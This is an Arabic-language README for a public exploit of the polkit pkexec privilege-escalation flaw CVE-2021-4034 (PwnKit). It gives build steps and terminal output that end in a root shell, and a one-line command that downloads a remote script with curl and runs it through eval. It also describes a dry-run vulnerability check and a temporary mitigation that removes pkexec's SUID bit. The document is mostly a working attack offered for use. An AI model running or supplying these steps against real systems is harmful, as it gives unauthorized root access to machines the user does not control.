
استغلال لثغرة CVE-2021-4034 (PwnKit) يوفر شل صلاحيات الجذر عبر polkit pkexec. يتضمن وضع تجربة جافة لاختبار الثغرة وسكربت سطر واحد للاستغلال السريع.
يوم واحد لاستغلال رفع الصلاحيات في polkit
فقط نفّذ make، ثم ./cve-2021-4034 واستمتع بجذر (root shell).
النشرة الأصلية من المؤلفين الحقيقيين موجودة هنا
إذا كان الاستغلال يعمل، ستحصل على جذر (root shell) فورًا:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
تحديث polkit على معظم الأنظمة سيصلح الثغرة، لذلك ستحصل على رسالة الاستخدام وسيخرج البرنامج:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
لعدم تنفيذ شل ولكن فقط لاختبار ما إذا كان النظام عرضة للثغرة، قم بتجميع هدف dry-run.
إذا طبع البرنامج "root" ثم خرج، فهذا يعني أن نظامك عرضة للاستغلال.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
إذا كان نظامك غير عرضة للثغرة، فسيطبع خطأ ويخرج.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (المعروف سابقًا باسم PolicyKit) هو مكوّن للتحكم في الصلاحيات على مستوى النظام في أنظمة التشغيل الشبيهة بـ Unix. يوفر طريقة منظمة للعمليات غير المميزة للتواصل مع العمليات المميزة. من الممكن أيضًا استخدام polkit لتنفيذ أوامر بصلاحيات مرتفعة باستخدام الأمر pkexec متبوعًا بالأمر المطلوب تنفيذه (بصلاحية الجذر).
يمكنك بسهولة استغلال النظام باستخدام سكربت واحد، قابل للتنزيل والتنفيذ بهذا الأمر:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
إذا لم تتوفر تصحيحات لنظام التشغيل الخاص بك، يمكنك إزالة بت SUID من pkexec كإجراء تخفيف مؤقت.
# chmod 0755 /usr/bin/pkexec
عندها سيفشل الاستغلال مع رسالة تفيد بأن pkexec يجب أن يكون لديه بت setuid مفعّل.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root